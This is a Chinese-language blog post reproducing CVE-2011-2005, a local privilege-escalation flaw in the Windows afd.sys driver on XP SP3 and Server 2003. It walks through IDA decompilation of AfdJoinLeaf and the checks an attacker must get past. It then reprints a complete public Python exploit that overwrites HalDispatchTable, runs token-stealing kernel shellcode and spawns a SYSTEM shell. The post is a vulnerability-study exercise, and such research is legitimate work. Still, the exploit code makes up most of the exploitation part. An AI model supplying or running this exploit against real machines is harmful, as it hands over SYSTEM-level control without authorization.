[Windows] CVE-2011-2005 Afd.sys 本地提权漏洞复现

13 篇文章 0 订阅

前言

这是一个微软在2011.10发布的补丁中提到的系统辅助驱动程序Afd.sys存在的本地提权漏洞, 影响到Windows XP, 和Windows Server 2003系统. 漏洞成因是Microsoft Windows Ancillary Function Driver(afd.sys)驱动程序没有完善检测用户提交的数据, 攻击者可以利用该漏洞执行任意代码.

测试环境

VMware Workstation Pro 15.x
system: Windows XP SP3
python: python2.7
IDA pro 7.6

afd.sys文件可以参考漏洞战争附件

漏洞分析

拖进IDA进行分析
这个驱动的漏洞在AfdJoinLeaf函数, 漏洞是通过比对官方补丁前后的驱动文件差异分析出来的, 当然如果说0Day怎么挖出来, 那就随缘了(一般在用户使用系统过程中出现非预期行为或者出现系统崩溃, 保存现场然后调试分析找到漏洞点; 或者就暴力fuzzing)

NTSTATUS __fastcall AfdJoinLeaf(IRP *a1, int a2)
{
  unsigned int v3; // edx
  ULONG v4; // eax
  ULONG v5; // ecx
  HANDLE *v6; // eax
  const void *v7; // esi
  char *PoolWithQuotaTag; // edx
  _DWORD *v9; // eax
  PIRP v10; // edi
  _DWORD *UserBuffer; // eax
  __int16 *v12; // esi
  NTSTATUS v13; // eax
  __int16 v14; // ax
  __int16 *v15; // ebx
  __int16 v16; // ax
  __int16 v17; // ax
  int v18; // eax
  int v19; // eax
  int v21; // eax
  PVOID Object; // [esp+14h] [ebp-50h] BYREF
  HANDLE Handle; // [esp+18h] [ebp-4Ch]
  KPROCESSOR_MODE AccessMode[4]; // [esp+1Ch] [ebp-48h]
  int v25; // [esp+20h] [ebp-44h] BYREF
  PVOID v26; // [esp+24h] [ebp-40h] BYREF
  _DWORD *v27; // [esp+28h] [ebp-3Ch]
  HANDLE v28; // [esp+2Ch] [ebp-38h]
  PVOID v29; // [esp+30h] [ebp-34h]
  PVOID v30; // [esp+34h] [ebp-30h] BYREF
  signed int v31; // [esp+38h] [ebp-2Ch]
  PVOID P; // [esp+3Ch] [ebp-28h]
  PIRP Irp; // [esp+40h] [ebp-24h]
  int v34; // [esp+44h] [ebp-20h] BYREF
  NTSTATUS Connection; // [esp+48h] [ebp-1Ch]
  CPPEH_RECORD ms_exc; // [esp+4Ch] [ebp-18h]

  Irp = a1;
  v34 = 0;
  P = 0;
  if ( *(_DWORD *)(a2 + 8) < 0x18u || (v3 = *(_DWORD *)(a2 + 4)) != 0 && v3 < 8 )
  {
    Connection = -1073741811;
    v10 = Irp;
    goto LABEL_71;
  }
  ms_exc.registration.TryLevel = 0;
  if ( a1->RequestorMode )
  {
    if ( (*(_BYTE *)(a2 + 16) & 3) != 0 )
      ExRaiseDatatypeMisalignment();
    v4 = *(_DWORD *)(a2 + 16);
    v5 = v4 + *(_DWORD *)(a2 + 8);
    if ( v5 < v4 || v5 > _MmUserProbeAddress )
      ExRaiseAccessViolation();
  }
  v6 = *(HANDLE **)(a2 + 16);
  Handle = v6[2];
  v28 = v6[1];
  v7 = v6 + 3;
  v31 = *(_DWORD *)(a2 + 8) - 12;
  ms_exc.registration.TryLevel = 1;
  PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v31 + 48, 0xC9646641);
  P = PoolWithQuotaTag;
  Irp->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;
  memset(PoolWithQuotaTag, 0, 0x30u);
  qmemcpy(PoolWithQuotaTag + 48, v7, v31);
  if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v31 < *((unsigned __int16 *)P + 26) + 8 )
    ExRaiseStatus(-1073741811);
  v9 = P;
  *((_DWORD *)P + 5) = (char *)P + 48;
  v9[4] = v31;
  v10 = Irp;
  if ( *(_DWORD *)(a2 + 4) && Irp->RequestorMode == 1 )
  {
    if ( Irp->UserBuffer >= (PVOID)_MmUserProbeAddress )
      *(_DWORD *)_MmUserProbeAddress = 0;
    UserBuffer = v10->UserBuffer;
    *UserBuffer = *UserBuffer;
    UserBuffer[1] = UserBuffer[1];
  }
  ms_exc.registration.TryLevel = -1;
  v29 = *(PVOID *)(a2 + 24);
  v12 = (__int16 *)*((_DWORD *)v29 + 3);
  if ( *v12 == -21763 )
  {
    AccessMode[0] = v10->RequestorMode;
    v13 = ObReferenceObjectByHandle(
            Handle,
            (unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
            (POBJECT_TYPE)IoFileObjectType,
            AccessMode[0],
            &Object,
            0);
    v29 = Object;
    Connection = v13;
    if ( v13 < 0 )
    {
LABEL_71:
      if ( P )
      {
        ExFreePoolWithTag(P, 0xC9646641);
        v10->AssociatedIrp.IrpCount = 0;
      }
      if ( v34 )
      {
        if ( !_InterlockedExchangeAdd((volatile signed __int32 *)(v34 + 32), 0xFFFFFFFF) )
          AfdCloseConnection(v34);
      }
      v10->IoStatus.Information = 0;
      v10->IoStatus.Status = Connection;
      IofCompleteRequest(v10, AfdPriorityBoost);
      return Connection;
    }
    if ( *((PVOID *)Object + 1) != AfdDeviceObject )
      goto LABEL_30;
    v12 = (__int16 *)*((_DWORD *)Object + 3);
    *(_DWORD *)(a2 + 24) = Object;
  }
  else
  {
    ObfReferenceObject(v29);
  }
  v14 = *v12;
  if ( *v12 != -20528 && v14 != -20526 && v14 != -20527 )
  {
LABEL_61:
    Connection = -1073741811;
    goto LABEL_67;
  }
  if ( !v28 )
  {
    if ( v14 == -20527 )
    {
      if ( *((_BYTE *)v12 + 2) != 3 )
        return AfdDoDatagramConnect((int)v29, v10, 1);
      Connection = 0;
      goto LABEL_67;
    }
    if ( v14 != -20528 && v14 != -20526 && v14 != -20524 && v14 != -20522 )
      goto LABEL_61;
    v27 = v12 + 94;
    if ( _InterlockedCompareExchange((volatile signed __int32 *)v12 + 47, 3, 0) )
      goto LABEL_61;
    if ( *((_BYTE *)v12 + 2) == 2 )
    {
      Connection = AfdCreateConnection(
                     *((_DWORD *)v12 + 35) + 16,
                     *((_DWORD *)v12 + 34),
                     (*((_DWORD *)v12 + 1) & 0x200) != 0,
                     (*((_DWORD *)v12 + 3) >> 8) & 1,
                     *((PEPROCESS *)v12 + 6),
                     (int)&v34);
      if ( Connection >= 0 )
        goto LABEL_49;
    }
    else
    {
      Connection = -1073741811;
    }
LABEL_66:
    *v27 = 0;
    goto LABEL_67;
  }
  Connection = ObReferenceObjectByHandle(
                 v28,
                 (unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
                 (POBJECT_TYPE)IoFileObjectType,
                 v10->RequestorMode,
                 &v30,
                 0);
  if ( Connection < 0 )
  {
LABEL_67:
    ObfDereferenceObject(v29);
    goto LABEL_71;
  }
  if ( *((PVOID *)v30 + 1) != AfdDeviceObject )
  {
    ObfDereferenceObject(v30);
LABEL_30:
    Connection = -1073741816;
    goto LABEL_67;
  }
  v15 = (__int16 *)*((_DWORD *)v30 + 3);
  v27 = v12 + 94;
  if ( _InterlockedCompareExchange((volatile signed __int32 *)v12 + 47, 3, 0) )
  {
    ObfDereferenceObject(v30);
    goto LABEL_61;
  }
  v16 = *v15;
  if ( (*v15 == -20528 || v16 == -20526 || v16 == -20524 || v16 == -20522)
    && (v15[5] & 1) != 0
    && *((_BYTE *)v15 + 2) == 3
    && ((v17 = *v12, *v12 == -20528) || v17 == -20526 || v17 == -20524 || v17 == -20522)
    && (v18 = *((_DWORD *)v15 + 35), *((_DWORD *)v12 + 35) == v18)
    && *((_BYTE *)v12 + 2) == 1
    && (Connection = AfdCreateConnection(
                       v18 + 16,
                       *((_DWORD *)v15 + 34),
                       (*((_DWORD *)v15 + 1) & 0x200) != 0,
                       (*((_DWORD *)v12 + 3) >> 8) & 1,
                       *((PEPROCESS *)v12 + 6),
                       (int)&v34),
        !_InterlockedCompareExchange((volatile signed __int32 *)v15 + 47, *((unsigned __int8 *)v15 + 2), 0)) )
  {
    AfdJoinInviteSetup(v15, v12);
  }
  else
  {
    Connection = -1073741811;
  }
  ObfDereferenceObject(v30);
  if ( Connection < 0 )
    goto LABEL_66;
LABEL_49:
  _InterlockedExchangeAdd((volatile signed __int32 *)v12 + 8, 1u);
  *(_DWORD *)(v34 + 8) = v12;
  *((_DWORD *)v12 + 24) = v34;
  *v12 = -20526;
  AfdAddConnectedReference(v34);
  v26 = P;
  v25 = (int)P + 24;
  if ( *((_DWORD *)v12 + 26) )
    AfdSetupConnectDataBuffers(v12, v34, &v26, &v25);
  AfdEnableFailedConnectEvent(v12);
  _InterlockedExchangeAdd((volatile signed __int32 *)(v34 + 32), 1u);
  v19 = v10->Tail.Overlay.PacketType - 36;
  if ( AfdRestartJoin )
  {
    *(_DWORD *)(v19 + 28) = AfdRestartJoin;
    *(_DWORD *)(v19 + 32) = v34;
    *(_BYTE *)(v19 + 3) = -32;
  }
  else
  {
    *(_DWORD *)(v19 + 28) = 0;
    *(_DWORD *)(v19 + 32) = 0;
    *(_BYTE *)(v19 + 3) = 0;
  }
  v21 = v10->Tail.Overlay.PacketType - 36;
  *(_BYTE *)v21 = 15;
  *(_BYTE *)(v21 + 1) = 3;
  *(_DWORD *)(v21 + 20) = *(_DWORD *)(v34 + 16);
  *(_DWORD *)(v21 + 24) = *(_DWORD *)(v34 + 12);
  *(_DWORD *)(v21 + 8) = v26;
  *(_DWORD *)(v21 + 12) = v25;
  *(_DWORD *)(v21 + 16) = &AfdInfiniteTimeout;
  _InterlockedExchangeAdd((volatile signed __int32 *)v12 + 33, 1u);
  return IofCallDriver(*(PDEVICE_OBJECT *)(v34 + 16), v10);
}

(1) 着重分析处理用户输入的逻辑

  v9 = P;
  *((_DWORD *)P + 5) = (char *)P + 48;
  v9[4] = v31;
  v10 = Irp;
  if ( *(_DWORD *)(a2 + 4) && Irp->RequestorMode == 1 )
  {
    if ( Irp->UserBuffer >= (PVOID)_MmUserProbeAddress )
      *(_DWORD *)_MmUserProbeAddress = 0;
    UserBuffer = v10->UserBuffer;
    *UserBuffer = *UserBuffer;
    UserBuffer[1] = UserBuffer[1];
  }

对比汇编来分析会更清晰, 程序只在当OutBufferLength != 0的时候才检测UserBuffer地址有效性, 所以可以令OutBufferLength = 0绕过检测
在这里插入图片描述
此外还有4个关键点绕过
(2) 输入缓冲区限制为大于0x18

  Irp = a1;
  v34 = 0;
  P = 0;
  if ( *(_DWORD *)(a2 + 8) < 0x18u || (v3 = *(_DWORD *)(a2 + 4)) != 0 && v3 < 8 )
  {
    Connection = -1073741811;
    v10 = Irp;
    goto LABEL_71;
  }

(3) InputBuffer的第9个字节不能为0

  v6 = *(HANDLE **)(a2 + 16);
  Handle = v6[2];
  ...
      v13 = ObReferenceObjectByHandle(
            Handle,
            (unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
            (POBJECT_TYPE)IoFileObjectType,
            AccessMode[0],
            &Object,
            0);

在这里插入图片描述

(4) InputBuffer的第13字节必须为1, 且*(_DWORD *)(a2 + 8) - 12 < *((unsigned __int16 *)P + 26) + 8 ), 即*(InputBuffer + 0x10) + 8 < InputBufferLength - 0xC

  v7 = v6 + 3;
  v31 = *(_DWORD *)(a2 + 8) - 12;
  ms_exc.registration.TryLevel = 1;
  PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v31 + 48, 0xC9646641);
  P = PoolWithQuotaTag;
  Irp->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;
  memset(PoolWithQuotaTag, 0, 0x30u);
  qmemcpy(PoolWithQuotaTag + 48, v7, v31);
  if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v31 < *((unsigned __int16 *)P + 26) + 8 )
    ExRaiseStatus(-1073741811);

(5) 链接到本地未开放端口, 且套接字状态为CONNECTING

    v13 = ObReferenceObjectByHandle(
            Handle,
            (unsigned __int8)HIBYTE(*(_WORD *)(a2 + 12)) >> 6,
            (POBJECT_TYPE)IoFileObjectType,
            AccessMode[0],
            &Object,
            0);
    ...
   v12 = (__int16 *)*((_DWORD *)Object + 3);
	...
    if ( *((_BYTE *)v12 + 2) == 2 ) // 2, CONNECTING
    {
      Connection = AfdCreateConnection(
                     *((_DWORD *)v12 + 35) + 16,
                     *((_DWORD *)v12 + 34),
                     (*((_DWORD *)v12 + 1) & 0x200) != 0,
                     (*((_DWORD *)v12 + 3) >> 8) & 1,
                     *((PEPROCESS *)v12 + 6),
                     (int)&v34);
      if ( Connection >= 0 )
        goto LABEL_49;
    }

漏洞利用

(1) 绕过UserBuffer检测, 设置OutBufferLength = 0
(2) InputBufferLength > 0x18
(3) *(InputBuffer + 8) != 0
(4) *(InputBuffer + 0x10) + 8 < InputBufferLength - 0xC

IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()

(5) 维持套接字为CONNECTING

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int

EXP

from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
                    c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
                    c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser
 
usage =  "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
                  action="store", dest="target_os",
                  help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
   parser.print_help()
   sys.exit()
OS = OS.upper()
 
kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi
 
def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddy: 
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy) 
                    return (baseaddy, drivername.value)
    return None
 
print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"
 
WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
 
class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]
 
## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
                   None, 0, 0)
if client == ~0:
    raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(4455)
    addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
    ## We need to connect to a closed port, socket state must be CONNECTING
    connect(client, byref(addr), sizeof(addr))
except:
    closesocket(client)
    raise
 
baseadd    = c_int(0x1001)
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff   = ("\x41\x41\x41\x41\x42\x42\x42\x42"
              "\x00\x00\x00\x00\x44\x44\x44\x44"
              "\x01\x00\x00\x00"
              "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                     byref(baseadd),
                                     0x0,
                                     byref(RegionSize),
                                     MEMRES,
                                     PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver     = c_char_p()
lpPath       = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
    HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
    HalpSetSystemInformation   = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
    HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
    HalpSetSystemInformation   = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
 
################################# EXPLOITATION #################################
shellcode_address_dep   = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr      = 0x00020900
if OS == "XP":
    _KPROCESS = "\x44"
    _TOKEN    = "\xc8"
    _UPID     = "\x84"
    _APLINKS  = "\x88"
else:
    _KPROCESS = "\x38"
    _TOKEN    = "\xd8"
    _UPID     = "\x94"
    _APLINKS  = "\x98"
     
restore_ptrs =   "\x31\xc0" + \
                 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
                 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x10"
restore_token =  "\x52"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\x15\x00\x09\x02\x00"             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5a"                                 +\
                 "\xc2\x10"
                  
shellcode         = padding + restore_ptrs + tokenstealing
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger shellcode
inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
 
############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode         = padding + restore_ptrs + restore_token
shellcode_size    = len(shellcode)
trail_padding     = (orig_size - shellcode_size) * "\x00"
shellcode        += trail_padding
shellcode_size   += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"

效果
在这里插入图片描述

总结

参考列表
[1] 漏洞战争
[2] https://www.exploit-db.com/exploits/18176

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值